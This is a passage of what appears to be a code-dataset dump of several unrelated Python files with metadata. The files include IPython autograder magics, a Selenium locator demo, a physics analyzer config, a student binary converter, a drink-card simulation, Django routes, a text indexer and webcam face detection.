report(template, source=submission_source.source, results=results)\n\n The keyword arguments are forwarded to the invocation of\n `template.render()`. If `source` keyword argument is present, a\n syntax-highlighted HTML copy of it is additionally passed with\n `formatted_source` keyword argument.\n \"\"\"\n if 'source' in kwargs:\n kwargs['formatted_source'] = pygments.highlight(\n kwargs['source'], lexers.PythonLexer(), formatters.HtmlFormatter()) # pylint: disable=E1101\n # Render the template giving the specified variable as 'results',\n # and render the result as inlined HTML in cell output. 'source' is\n # the prerendered source code.\n return display.HTML(template.render(**kwargs))\n\n\n# The class MUST call this class decorator at creation time\n@magic.magics_class\nclass MyMagics(magic.Magics):\n \"\"\"MyMagics -- a collection of IPython magics.\n\n This class serves as a namespace to hold the IPython magics.\n \"\"\"\n @magic.line_magic\n def autotest(self, line):\n \"\"\"Run the unit tests inline\n\n Returns the TestResult object. Notable fields in the result object:\n\n * `result.results` is a summary dictionary of\n outcomes, with keys named TestClass.test_case\n and boolean values (True: test passed, False: test failed\n or an error occurred).\n TODO(salikh): Decide whether to remove or document ad-hoc\n entries in the outcome map:\n * 'test_file.py' (set to False if the tests has any issues,\n or set to True if all test cases passed)\n\n * `result.errors`, `result.failures`, `result.skipped` and other\n fields are computed as documented in unittest.TestResult.\n \"\"\"\n\n suite = unittest.TestLoader().loadTestsFromTestCase(\n self.shell.ev(line))\n errors = io.StringIO()\n result = unittest.TextTestRunner(\n verbosity=4,\n stream=errors,\n resultclass=summary_test_result.SummaryTestResult).run(suite)\n return result, errors.getvalue()\n\n @magic.cell_magic\n def submission(self, line, cell):\n \"\"\"Registers a submission_source and submission, if the code can run.\n\n This magic is useful for auto-testing (testing autograder unit tests on\n incorrect inputs)\n \"\"\"\n\n _ = line # Unused.\n # Copy the source into submission_source.source\n self.shell.user_ns['submission_source'] = types.SimpleNamespace(\n source=cell.rstrip())\n\n env = {}\n try:\n exec(cell, self.shell.user_ns, env) # pylint: disable=W0122\n except Exception as ex: # pylint: disable=W0703\n # Ignore execution errors -- just print them.\n print('Exception while executing submission:\\n', ex)\n # If the code cannot be executed, leave the submission empty.\n self.shell.user_ns['submission'] = None\n return\n # Copy the modifications into submission object.\n self.shell.user_ns['submission'] = types.SimpleNamespace(**env)\n\n @magic.cell_magic\n def solution(self, line, cell):\n \"\"\"Registers solution and evaluates it.\n\n Also removes the PROMPT block and %%solution from the solution source.\n\n The difference from %%submission is that the solution is copied into the\n top context,\n making it possible to refer to the functions and variables in subsequent\n notebook cells.\n \"\"\"\n _ = line # Unused.\n\n # Cut out PROMPT\n cell = re.sub(\n '(?ms)^[ \\t]*\"\"\" # BEGIN PROMPT.*\"\"\" # END PROMPT[ \\t]*\\n?', '',\n cell)\n # Cut out BEGIN/END SOLUTION markers\n cell = re.sub('(?ms)^[ \\t]*# (BEGIN|END) SOLUTION[ \\t]*\\n?', '', cell)\n\n # Copy the source into submission_source.source\n self.shell.user_ns['submission_source'] = types.SimpleNamespace(\n source=cell.rstrip())\n\n # Capture the changes produced by solution code in env.\n env = {}\n # Note: if solution throws exception, this breaks the notebook\n # execution, and this is intended. Solution must be correct!\n exec(cell, self.shell.user_ns, env) # pylint: disable=W0122\n # Copy the modifications into submission object.\n self.shell.user_ns['submission'] = types.SimpleNamespace(**env)\n # Copy the modifications into user_ns\n for k in env:\n self.shell.user_ns[k] = env[k]\n\n @magic.cell_magic\n def template(self, line, cell):\n \"\"\"Registers a template for report generation.\n\n Args:\n * line: The string with the contents of the remainder of the line\n starting with %%template.\n * cell: The string with the contents of the code cell, excluding\n the line with %%template marker.\n\n Hint: Use {{results['TestClassName.test_method']}} to extract specific\n outcomes and be prepared for the individual test case keys to be absent\n in the results map, if the test could not be run at all (e.g. because of\n syntax error in the submission). The corresponding test outcome map\n should be passed to the template invocation with keyword argument:\n `results=result.results` where `result` is an instance of\n `SummaryTestResult` returned by `autotest()`.\n\n Warning: %%template must not use triple-quotes inside.\n \"\"\"\n name = line\n if line == '':\n name = 'report_template'\n if re.search('\"\"\"', cell):\n raise Exception(\"%%template must not use triple-quotes\")\n # Define a Jinja2 template based on cell contents.\n self.shell.user_ns[name] = jinja2.Template(cell)\n\n @magic.cell_magic\n def report(self, line, cell):\n \"\"\"Renders the named template.\n\n Syntax:\n %%report results_var\n template_name\n \"\"\"\n var_name = line\n template_name = cell\n template = self.shell.ev(template_name)\n results = self.shell.ev(var_name)\n source = self.shell.user_ns['submission_source'].source\n formatted_source = pygments.highlight(\n source,\n lexers.PythonLexer(), # pylint: disable=E1101\n formatters.HtmlFormatter()) # pylint: disable=E1101\n # Render the template giving the specified variable as 'results',\n # and render the result as inlined HTML in cell output. 'source' is\n # the prerendered source code.\n return display.HTML(\n template.render(results=results,\n source=source,\n formatted_source=formatted_source))\n\n\ndef load_ipython_extension(ipython):\n \"\"\"This function is called when the extension is\n\n loaded. It accepts an IPython InteractiveShell\n instance. We can register the magic with the\n `register_magic_function` method of the shell\n instance.\n \"\"\"\n ipython.register_magics(MyMagics)\n","sub_path":"python/prog_edu_assistant_tools/prog_edu_assistant_tools/magics.py","file_name":"magics.py","file_ext":"py","file_size_in_byte":8509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"355113697","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nbrowser = webdriver.Chrome()\nbrowser.get('https://www.taobao.com')\ninput_first = browser.find_element(By.ID, 'q')\nlis = browser.find_elements(By.CSS_SELECTOR, '.service-bd li')\nprint(\"lis %s\" % lis)\nprint(\"input %s\" % input_first)\nbrowser.close()\ndriver.find_element(By.XPATH, '//button[text()=\"Some text\"]')\ndriver.find_elements(By.XPATH, '//button')\n# 这些是By类可用的属性:\n\nID = \"id\"\nXPATH = \"xpath\"\nLINK_TEXT = \"link text\"\nPARTIAL_LINK_TEXT = \"partial link text\"\nNAME = \"name\"\nTAG_NAME = \"tag name\"\nCLASS_NAME = \"class name\"\nCSS_SELECTOR = \"css selector\"\n'''\n\n \n

Are you sure you want to do this?

\n
Continue\n Cancel\n\n\n'''\n# continue.html链接可以像这样定位:\n\ncontinue_link = driver.find_element_by_link_text('Continue')\ncontinue_link = driver.find_element_by_partial_link_text('Conti') # 模糊查询\n","sub_path":"selenium用法/se_By.py","file_name":"se_By.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"167236361","text":"import FWCore.ParameterSet.Config as cms\n\nzcounting = cms.EDAnalyzer('ZCountingAOD',\n pileupSummaryInfoCollection=cms.InputTag(\"addPileupInfo\"),\n\n # Primary vertex - source\n edmPVName = cms.InputTag(\"offlinePrimaryVertices\"),\n \n # Muons - source\n reco_muons = cms.InputTag(\"muons\",\"\",\"RECO\"),\n\n roccorFile = cms.string(\"\"), \n\n # Standalone muon tracks - source\n reco_standalones = cms.InputTag(\"standAloneMuons\",\"\",\"RECO\"),\n reco_standalonesUpdated = cms.InputTag(\"standAloneMuons\",\"UpdatedAtVtx\",\"RECO\"),\n\n # Tracks - source\n reco_tracks = cms.InputTag(\"generalTracks\",\"\",\"RECO\"),\n\n # Electrons - source\n reco_electrons = cms.InputTag(\"gedGsfElectrons\",\"\",\"RECO\"),\n reco_superclusters = cms.InputTag(\"particleFlowEGamma\",\"\",\"RECO\"),\n\n # Trigger - sources\n TriggerEvent = cms.InputTag('hltTriggerSummaryAOD', '', 'HLT'),\n TriggerResults = cms.InputTag('TriggerResults', '', 'HLT'),\n \n emulateTrigger = cms.untracked.bool(False),\n\n # Muon - triggers\n # 2^{x}\n muon_trigger_patterns=cms.vstring(\n # x =\n \"HLT_IsoMu24_v*\", # 0\n \"HLT_IsoMu27_v*\", # 1\n \"HLT_IsoTkMu24_v*\", # 2\n \"HLT_IsoTkMu27_v*\", # 3\n \"HLT_Mu17_v*\", # 4\n \"HLT_Mu19_v*\", # 5\n \"HLT_Mu20_v*\", # 6\n \"HLT_Mu27_v*\", # 8\n \"HLT_L1SingleMu18_v*\", # 9\n \"HLT_L1SingleMu25_v*\", # 10\n # \"HLT_IsoMu30_v*\", # 6\n # \"HLT_IsoTkMu30_v*\", # 7\n # \"HLT_Mu17_v*\", # 8\n # \"HLT_TkMu17_v*\", # 9\n # \"HLT_Mu19_v*\", # 10\n # \"HLT_TkMu19_v*\", # 11\n # \"HLT_Mu20_v*\", # 12\n # \"HLT_TkMu20_v*\", # 13\n # \"HLT_Mu27_v*\", # 14\n # \"HLT_TkMu27_v*\", # 15\n # \"HLT_IsoMu22_eta2p1\", # 16\n # \"HLT_IsoTkMu22_eta2p1\", # 17\n # \"HLT_IsoMu24_eta2p1\", # 18\n # \"HLT_IsoTkMu24_eta2p1\", # 19\n # \"HLT_Mu50_v*\", # 20\n # \"HLT_TkMu50_v*\" # 21\n ),\n muon_trigger_DRMAX=cms.untracked.double(0.1),\n\n # MET - triggers\n # 2^{x}\n met_trigger_patterns = cms.vstring(\n # x =\n \"HLT_MET200_v*\", #0\n \"HLT_MET250_v*\", #1\n \"HLT_MET300_v*\", #2\n \"HLT_PFMET90_PFMHT90_IDTight_v*\", #3\n \"HLT_PFMET100_PFMHT100_IDTight_v*\", #4\n \"HLT_PFMET100_PFMHT100_IDTight_PFHT60_v*\", #5\n \"HLT_PFMET100_PFMHT100_IDTight_CaloBTagCSV_3p1_v*\", #6\n \"HLT_PFMET110_PFMHT110_IDTight_v*\", #7\n \"HLT_PFMET110_PFMHT110_IDTight_CaloBTagCSV_3p1_v*\", #8\n \"HLT_PFMET120_BTagCSV_p067_v*\", #9\n \"HLT_PFMET120_PFMHT120_IDTight_v*\", #10\n \"HLT_PFMET120_PFMHT120_IDTight_PFHT60_v*\", #11\n \"HLT_PFMET120_PFMHT120_IDTight_CaloBTagCSV_3p1_v*\", #12\n \"HLT_PFMET130_PFMHT130_IDTight_v*\", #13\n \"HLT_PFMET130_PFMHT130_IDTight_CaloBTagCSV_3p1_v*\", #14\n \"HLT_PFMET140_PFMHT140_IDTight_v*\", #15\n \"HLT_PFMET140_PFMHT140_IDTight_CaloBTagCSV_3p1_v*\", #16\n \"HLT_PFMET170_NotCleaned_v*\", #17\n \"HLT_PFMET170_HBHECleaned_v*\", #18\n \"HLT_PFMET170_JetIdCleaned_v*\", #19\n \"HLT_PFMET170_NoiseCleaned_v*\", #20\n \"HLT_PFMET200_NotCleaned_v*\", #21\n \"HLT_PFMET200_HBHECleaned_v*\", #22\n \"HLT_PFMET200_HBHE_BeamHaloCleaned_v*\", #23\n \"HLT_PFMET250_HBHECleaned_v*\", #24\n \"HLT_PFMET300_v*\", #25\n \"HLT_PFMET300_HBHECleaned_v*\", #26\n \"HLT_PFMET400_v*\", #27\n \"HLT_PFMETNoMu120_PFMHTNoMu120_IDTight_v*\", #28\n \"HLT_PFMETNoMu120_PFMHTNoMu120_IDTight_PFHT60_v*\", #29\n \"HLT_PFMETTypeOne110_PFMHT110_IDTight_v*\" #30\n ),\n\n # Electron - triggers\n # 2^{x}\n electron_trigger_patterns=cms.vstring(\n # x =\n \"HLT_Ele27_WPTight_Gsf_v*\", # 0 lowest unprescaled in 2016\n \"HLT_Ele32_WPTight_Gsf_v*\" # 1 exists in 2017 (But must be emulated https://twiki.cern.ch/twiki/bin/view/CMS/EgHLTRunIISummary#Emulation_of_HLT_Ele32_WPTight_G) and 2018\n\n ),\n\n # Electrons - \n effAreasConfigFile = cms.FileInPath(\"RecoEgamma/ElectronIdentification/data/Summer16/effAreaElectrons_cone03_pfNeuHadronsAndPhotons_80X.txt\"),\n beamspotName = cms.InputTag('offlineBeamSpot'),\n conversionsName = cms.InputTag('conversions'),\n rhoName = cms.InputTag('fixedGridRhoFastjetAll'),\n\n #Flags\n isData = cms.untracked.bool(False),\n hasGenZ = cms.untracked.bool(False),\n hasGenTt = cms.untracked.bool(False),\n\n store_muons = cms.untracked.bool(True),\n store_electrons = cms.untracked.bool(True), \n\n # For MC only\n genParticles = cms.InputTag(\"genParticles\"),\n genEventInfo = cms.InputTag('generator'),\n lheEventInfo = cms.InputTag('externalLHEProducer'),\n lheRunInfo = cms.InputTag('externalLHEProducer'),\n genZLeptonCollection = cms.InputTag(''),\n genTtCollection = cms.InputTag(''),\n \n particleLevelLeptonCollection = cms.InputTag(\"particleLevel:leptons\"),\n printLHE = cms.bool(False),\n \n # settings of UL aMC@NLO\n # (muRmuF up, muRmuF down, muR up, muR down, muF up, muF down)\n genWeights = cms.vint32(1005, 1009, 1004, 1007, 1002, 1003),\n pdfWeights = cms.vint32(1214, 1316)\n\n)\n","sub_path":"ZCountAnalyze/python/ZCountingAOD_cfi.py","file_name":"ZCountingAOD_cfi.py","file_ext":"py","file_size_in_byte":5872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"123889110","text":"# Yr8CS1_Samit Shaikh_20180809\n# Binary Converter\n\nlogb = input('LOGB (True/False): ').lower() in ['true', '1', 't', 'y', 'yes', 'yeah', 'yup', 'certainly',\n 'uh-huh'] # If userinput is in the list then variable logb is True\nprint() # Print new line\n\n\n# To use command system:\n# command: -,\n# eg. command: largest-5,4,3\n# eg. command: dec2bin-540\n# eg. command: asc2dec-!\n# (find function names in code)\n\n\ndef log(text, validator, **opt):\n # This function accepts parameters: text, validator and 2 optional parameters.\n namee = ''\n # Initialise name with an empty string.\n if 'name' in opt:\n namee = opt['name']\n # If user did assign a value to the optional parameter, 'name', then the value would be stored in variable name.\n if validator:\n if 'wait' in opt:\n if opt['wait']:\n input('LOG>>> Enter to continue >>>')\n else:\n print('LOG>>> ' + str(text) + ' <<< ' + str(namee))\n else:\n print('LOG>>> ' + str(text) + ' <<< ' + str(namee))\n # If validator is True (normally this is used so when they run the program they can choose if they want logging\n # or not.) then a string with the text and name used in it will be printed unless it is specified that the user\n # enter's to continue. This can be specified in optional paramter, 'wait' with the value: True.\n\n\ndef dec2bin(number): # defines function as dec2bin\n if isinstance(number, int):\n number = int(number) # turns variable number into integer\n if str(number).find('-') > -1: # checks if their is a '-' in number\n # there is a dash in the input\n print('! Must input a positive integer !')\n binumber = 'error'\n else:\n if number == 0: # checks if variable number is 0\n binumber = '0' # if returned true, sets string variable binumber to '0'\n else:\n binumber = '' # if returned false, sets string variable binumber to empty string\n while number > 0: # loops if variable number is less than 0\n binumber = str(\n number % 2) + binumber # appends the remainder of variable number divided by 2 to the end of binumber\n # added to the left of variable binumber as a string\n # sets variable number to variable number divided by 2 without remainders or in\n number = number // 2\n # decimal form\n binumber = int(binumber) # makes binumber an integer data type\n else:\n print('! Must input an integer !')\n binumber = 'error'\n return binumber # returns binumber\n\n\ndef bin2dec(number): # defines function as bin2dec\n bbinary = str(number) # sets bbinary to variable number as string\n log(bbinary, logb) # logs variable bbinary\n ddecimal = 0 # sets ddecimal to 0\n log(ddecimal, logb) # logs variable ddecimal\n i = 0 # sets i to 0\n while i < len(bbinary): # loops while i is less than the number of characters in variable bbinary\n # logs the output of variable i add 1 subtracted from 0\n log(0 - (i + 1), logb)\n log(i, logb) # logs variable i\n mathh = ((2 ** i) * int(bbinary[0 - (i + 1)]))\n log(mathh, logb) # log variable mathh\n # sets variable ddecimal to itself added to varibale mathh\n ddecimal = ddecimal + mathh\n log(ddecimal, logb) # log variable ddecimal\n i += 1 # sets variable i to 1 added to itself\n return ddecimal # returns variable ddecimal\n\n\ndef dec2asc(number): # define function dec2ascii\n # sets variable dec to variable number subtract 32 as an integer\n dec = int(number) - 32\n ascii_table = ' !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'\n # sets variable asciiTable to printable range of ascii characters in a string with placeholders on it's right to\n # align the position of each character to its corresponding decimal value.\n if 31 < dec + 32 < 127:\n pass # checks if variable dec plus 32 is between 31 and 127\n else:\n # if returned false, print an error with reason\n print('!ERROR! Input not within printable range.')\n exit() # exit program\n return ascii_table[\n dec] # return the character in variable asciiTable which position is the value held in variable dec.\n\n\ndef bin2asc(number): # define function bin2ascii\n return dec2asc(bin2dec(\n number)) # return the output of function dec2ascii which argument is the output of function bin2dec.\n # Function bin2dec's argument is variable number\n\n\ndef asc2dec(letter): # define function ascii2dec\n if len(str(letter)) == 1:\n pass\n else:\n # if returned false, print error\n print('!ERROR! Input more than one letter (or less)')\n exit() # exit program\n ascii_table = ' !\"#$%&\\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'\n # sets variable asciiTable to printable range of ascii characters in a string with placeholders on it's right to\n # align the position of each character to its corresponding decimal value.\n return ascii_table.find(str(letter)) + 32\n\n\ndef asc2bin(letter): # defines function ascii2bin\n return dec2bin(asc2dec(\n letter)) # return the output of function dec2bin which argument is the output of function ascii2dec.\n # Function ascii2dec's argument is variable letter\n\n\ndef largest(a, b, c): # defines function largest\n a = int(a)\n b = int(b)\n c = int(c)\n if a > b: # checks if variable a is bigger than variable b\n one = a # if returned true, variable one is given variable a\n two = b # variable two is given variable b\n else:\n one = b # if returned false, variable one is given variable b\n two = a # variable two is given variable a\n if two < c < one: # checks if variable two is bigger than c and variable c is bigger than variable one\n three = two # if returned true, variable three is given variable two\n two = c # variable two is given variable c\n elif two < one < c: # else, checks if variable two is bigger than variable one and variable c is bigger than\n # variable c\n three = two # variable three is given variable two\n two = one # variable two is given variable one\n one = c # variable one is given variable c\n else: # else\n three = c # else, variable three is given variable c\n # returnes a list containing variables one, two and three\n return [int(one), int(two), int(three)]\n\n\ndef smallest(a, b, c): # defines function smallest\n lrgfnc = largest(a, b,\n c) # variable lrgfnc is given the ouput of function largest which arguments are variables a,\n # b and c\n return [lrgfnc[2], lrgfnc[1], lrgfnc[\n 0]] # returns list containing the last of list variable lrgfnc, the second of variable lrgfnc and the first\n # of variable lrgfnc\n\n\ndef writefileval(textfilename, mystring):\n f = open(str(textfilename), 'w+')\n f.write(str(mystring) + '\\n')\n f.close()\n return\n\n\ndef readfileval(textfilename):\n global content\n try:\n with open(str(textfilename)) as fr:\n content = fr.readlines()\n \"\"\"to remove whitespace characters like `\\n` at the end of each line\"\"\"\n content = [xx.strip() for xx in content]\n except FileNotFoundError:\n error = 'ERROR! The file you gave was not found or there was a problem with the program. ' \\\n '(the file must be in the same directory as this program.) '\n print('\\n' + error)\n input()\n exit()\n return content\n\n\ndef restart():\n # sets variable restart to user input\n restartt: str = input('\\nRestart? (y/n) \\n')\n if restartt.lower() == 'y': # if variable restart, with all characters in lowercase, is 'y'\n return False\n else:\n return True\n\n\ndef run():\n global cmd, value\n while True: # loops forever unless broken\n try:\n # sets variable command to user input as string.\n command = str(input('command: '))\n log(command, logb) # logs variable command\n # splits variable command between the first '-'\n command = command.split('-', 1)\n log(command, logb) # logs variable command\n # sets variable value to the second string in list variable command\n value = command[1]\n # sets variable cmd to the first string in list variable command\n cmd = command[0]\n log(value, logb) # logs variable value\n log(cmd, logb) # logs variable value\n value = value.split(',') # splits variable value between ','\n log(value, logb) # logs variable value\n except IndexError:\n print('!ERROR! Command not split from value by \\'-\\'')\n if restart():\n break\n try: # tries following code\n if cmd == 'dec2bin': # if variable cmd is 'dec2bin'\n print('\\n' + str(dec2bin(int(value[\n 0])))) # then prints output of function dec2bin which argument is the first of list\n # variable value as an integer\n elif cmd == 'bin2dec': # if above is false then if variable cmd is 'bin2dec'\n print(bin2dec(value[\n 0])) # then prints output of function bin2dec which argument is the first of list\n # variable value as an integer\n elif cmd == 'dec2asc': # if above is false then if variable cmd is 'dec2ascii'\n print(dec2asc(value[\n 0])) # then prints output of function dec2ascii which argument is the first of\n # list variable value as an integer\n elif cmd == 'bin2asc': # if above is false then if variable cmd is 'bin2ascii'\n print(bin2asc(value[\n 0])) # then prints output of function bin2ascii which argument is the first of\n # list variable value\n elif cmd == 'asc2dec': # if above is false then if variable cmd is 'ascii2dec'\n print(asc2dec(value[\n 0])) # then prints output of function ascii2dec which argument is the first of\n # list variable value\n elif cmd == 'asc2bin': # if above is false then if variable cmd is 'ascii2bin'\n print(asc2bin(value[\n 0])) # then prints output of function ascii2bin which argument is the first of\n # list variable value\n elif cmd == 'largest':\n print(largest(value[0], value[1], value[2]))\n elif cmd == 'smallest':\n print(smallest(value[0], value[1], value[2]))\n elif cmd == 'writefileval':\n print(writefileval(value[0], value[1]))\n elif cmd == 'readfileval':\n print(readfileval(value[0]))\n elif cmd == 'log': # if above is false then if variable cmd is 'log'\n # logs the first of list variable value\n print(log(value[0], logb))\n else:\n print('!ERROR! Command not found.') # else, print error\n if restart():\n break\n except IndexError: # if their is an IndexError\n # then print error\n print('!ERROR! Too many or not enough values inputted.')\n if restart():\n break\n if restart():\n break\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"_15_BinaryConverterAndStuff.py","file_name":"_15_BinaryConverterAndStuff.py","file_ext":"py","file_size_in_byte":11746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"224313776","text":"from sys import argv\nfrom random import randint\n\ncards = [50, 50]\ndrinksStillOnOtherCard = 0\ndrinksRemainingTally = 0\nsimsRun = 0\nsimsToRun = int(argv[1])\n\ndef pickCardToUse():\n return randint(0,1)\n\ndef getDrink(card):\n cards[card] -= 1\n\noutputFile = open(\"output.txt\", \"w\")\n\nwhile simsRun < simsToRun:\n while cards[0] >= 0 and cards[1] >= 0:\n getDrink(pickCardToUse())\n \n if cards[0] > 0 or cards[1] > 0:\n drinksStillOnOtherCard += 1\n\n drinksRemainigThisRound = cards[0] if cards[0] > 0 else 0 + cards[1] if cards[1] > 0 else 0\n drinksRemainingTally += drinksRemainigThisRound\n outputFile.write(str(drinksRemainigThisRound) + \"\\n\")\n \n cards = [50, 50]\n simsRun += 1\n\noutputFile.close()\n\nprint(\"Odds there is a drink on the other card: {}%\".format(drinksStillOnOtherCard / simsToRun * 100))\nprint(\"Average drinks on other card: {}\".format(drinksRemainingTally / simsToRun))","sub_path":"riddler167/freeDrinks.py","file_name":"freeDrinks.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"632930370","text":"from django.urls import path\nfrom api.views import add, subtract, multiply, divide,get_token_view\n\nurlpatterns = [\n path('add/', add, name='add'),\n path('subtract/', subtract, name='subtract'),\n path('multiply/', multiply, name='multiply'),\n path('divide/', divide, name='divide'),\n path('token/', get_token_view, name='token'),\n]\n","sub_path":"hw69/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"584756365","text":"\"\"\"\n\nThis module is in charge of creating an index, i.e. a dict consisting\nof tokens and their positions.\n\nHow a 'position' is understood is different in various methods. Only\nwords and digits are considered tokens.\nThe module contains classes for different kinds of 'position' and\nclass Indexer for creating an index.\n\n\"\"\"\n\nimport my_tokenizer_combined as t\nimport shelve\nimport functools\n\nclass Basic_Position(object):\n \"\"\"\n\n A class for objects desccribing a token's position in a string.\n\n Has the following variables:\n start - an index of the first symbol of a token;\n end - an index of the last symbol of a token.\n\n \"\"\"\n \n def __init__(self,start,end):\n self.start = start\n self.end = end\n\n def __eq__(self,obj2):\n return self.start==obj2.start and self.end==obj2.end\n\n def __repr__(self):\n return \"[%s, %s]\" %(self.start, self.end)\n\nclass Long_Position(Basic_Position):\n \"\"\"\n\n A class for objects desccribing a token's position in a string.\n\n Has the following variables:\n start - an index of the first symbol of a token in a string;\n end - an index of the last symbol of a token in a string;\n string_numb - a number of the string in a file;\n file_name - a name of rhe file.\n\n \"\"\"\n \n def __init__(self,start,end,string_numb,file_name):\n self.start = start\n self.end = end\n self.string_numb = string_numb\n self.file_name = file_name\n\n def __eq__(self,obj2):\n return self.start==obj2.start and self.end==obj2.end \\\n and self.string_numb == obj2.string_numb \\\n and self.file_name == obj2.file_name\n\n def __repr__(self):\n return \"[start: %s, end: %s, string: %s, file: %s]\" \\\n %(self.start, self.end, self.string_numb, self.file_name)\n \n@functools.total_ordering\nclass File_Position(Basic_Position):\n \"\"\"\n\n A class for objects desccribing a token's position in a string.\n\n Has the following variables:\n start - an index of the first symbol of a token in a string;\n end - an index of the last symbol of a token in a string;\n string_numb - a number of the string in a file.\n\n \"\"\"\n \n def __init__(self,start,end,string_numb):\n self.start = start\n self.end = end\n self.string_numb = string_numb\n\n def __eq__(self,obj2):\n return self.start==obj2.start and self.end==obj2.end \\\n and self.string_numb == obj2.string_numb\n\n def __repr__(self):\n return \"[start: %s, end: %s, string: %s]\" \\\n %(self.start, self.end, self.string_numb)\n\n def __lt__(self,obj2): # \"less than\" for File Positions\n if self.string_numb < obj2.string_numb:\n return True\n if self.string_numb > obj2.string_numb:\n return False\n if self.string_numb == obj2.string_numb:\n if self.start < obj2.start:\n return True\n if self.start > obj2.start:\n return False\n\nclass Indexer(object):\n \"\"\"\n\n A class for creating an index.\n\n Contains three methods for creating an index from different inputs:\n one method creates an index from a string and two - from a file,\n they differ in structures of a result dict.\n Contains also a method to add an index from a file to a database.\n \n \"\"\"\n\n def create_index_from_string(self,string):\n \"\"\"\n Takes a string as an argument and creates a dictionary, which\n contains words or digits as keys and a list of their 'basic'\n positions in the string as values.\n \"\"\"\n \n if not isinstance(string,str):\n raise ValueError(\"This indexer works only with strings. \")\n\n our_dict={}\n\n for obj in t.Tokenizer().iter_tokenize(string):\n \n # we include only words or digits in the final dict\n if obj.kind==\"alpha\" or obj.kind==\"digit\":\n \n # setdefault returns dict[key], adding a key with the default\n # value if the key is not in the dict yet\n l = our_dict.setdefault(obj.word,[])\n l.append(Basic_Position(obj.start,obj.end))\n\n return our_dict\n\n def create_long_index_from_file(self,path):\n \"\"\"\n The method takes a name (a path) of a file as an input and\n creates a dict with a token as a key and a list of its 'long'\n positions as a value.\n \"\"\"\n\n if not isinstance(path,str):\n raise ValueError(\"This method takes a string containing \\\n the name (a path) of a file as an input.\")\n\n our_dict={}\n with open(path, encoding = \"utf-8\") as file:\n tokenizer = t.Tokenizer()\n for i,string in enumerate(file):\n \n # for each object in a generator\n for obj in tokenizer.iter_tokenize(string):\n \n if obj.kind==\"alpha\" or obj.kind==\"digit\":\n l = our_dict.setdefault(obj.word,[])\n l.append(Long_Position(obj.start,obj.end, i+1, file.name))\n\n return our_dict\n\n def create_complex_index_from_file(self,path):\n \"\"\"\n The method takes a name (a path) of a file as an input and\n creates a dict with a token as a key and a file and a list\n of its 'file' positions as a value.\n \"\"\"\n\n if not isinstance(path,str):\n raise ValueError(\"This method takes a string containing \\\n the name (a path) of a file as an input.\")\n\n our_dict = {}\n tokenizer = t.Tokenizer()\n with open(path, encoding = \"utf-8\") as file:\n for i,string in enumerate(file):\n \n # for each token out of a generator\n for token in tokenizer.iter_tokenize(string):\n\n if token.kind==\"alpha\" or token.kind==\"digit\":\n\n # internal - is a dict to store positions in one file\n internal_dict = our_dict.setdefault(token.word,{})\n positions_list = internal_dict.setdefault(file.name,[])\n positions_list.append(File_Position(token.start,token.end,i+1))\n\n return our_dict\n\n def create_db_index(self, db_name, file_name):\n \"\"\"\n The method is very much alike with the method 'create_complex_index_from_file',\n but it adds a computed index to a database rather than to a dict with a complex\n structure.\n \"\"\"\n\n if (not isinstance(db_name,str)) or (not isinstance(file_name,str)):\n raise ValueError(\"This method takes two strings as an input: \\\n names (paths) of a db and a file. \")\n\n with shelve.open(db_name,writeback=True) as db:\n \n tokenizer = t.Tokenizer()\n # the same as in the method create_complex_index_from_file\n with open(file_name, encoding = \"utf-8\") as file:\n for i,string in enumerate(file):\n \n # for each token out of a generator\n for token in tokenizer.iter_tokenize(string):\n\n if token.kind==\"alpha\" or token.kind==\"digit\":\n\n # internal - is a dict to store positions in one file\n internal_dict = db.setdefault(token.word,{})\n positions_list = internal_dict.setdefault(file.name,[])\n positions_list.append(File_Position(token.start,token.end,i+1))\n\n \n \n \n","sub_path":"my_indexer_combined.py","file_name":"my_indexer_combined.py","file_ext":"py","file_size_in_byte":7636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"295718353","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: karthik\r\n\"\"\"\r\n\r\nimport cv2\r\n\r\n#cascPath = \"haarcascade_frontalface_default.xml\";\r\ncascPath = \"haarcascade_frontalface_alt2.xml\";\r\nfaceCascade = cv2.CascadeClassifier(cascPath)\r\n\r\nvideo_capture = cv2.VideoCapture(0)\r\n\r\n\r\nwhile True:\r\n # Capture frame-by-frame\r\n ret, frame = video_capture.read()\r\n\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n faces = faceCascade.detectMultiScale(\r\n gray,\r\n scaleFactor=1.1,\r\n minNeighbors=5,\r\n #minSize=(30, 30),\r\n #flags=cv2.CASCADE_SCALE_IMAGE\r\n )\r\n\r\n # Draw a rectangle around the faces\r\n for (x, y, w, h) in faces:\r\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\r\n\r\n # Display the resulting frame\r\n cv2.imshow('Video', frame)\r\n\r\n # Wait for Esc key to stop \r\n k = cv2.waitKey(5) & 0xFF\r\n if k == 27: \r\n break\r\n\r\n# When everything is done, release the capture\r\nvideo_capture.release()\r\ncv2.destroyAllWindows()\r\n","sub_path":"FRVideo.py","file_name":"FRVideo.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"336908953","text":"# Below you'll find a tuple containing several names:\n\nnames = (\"bob\", 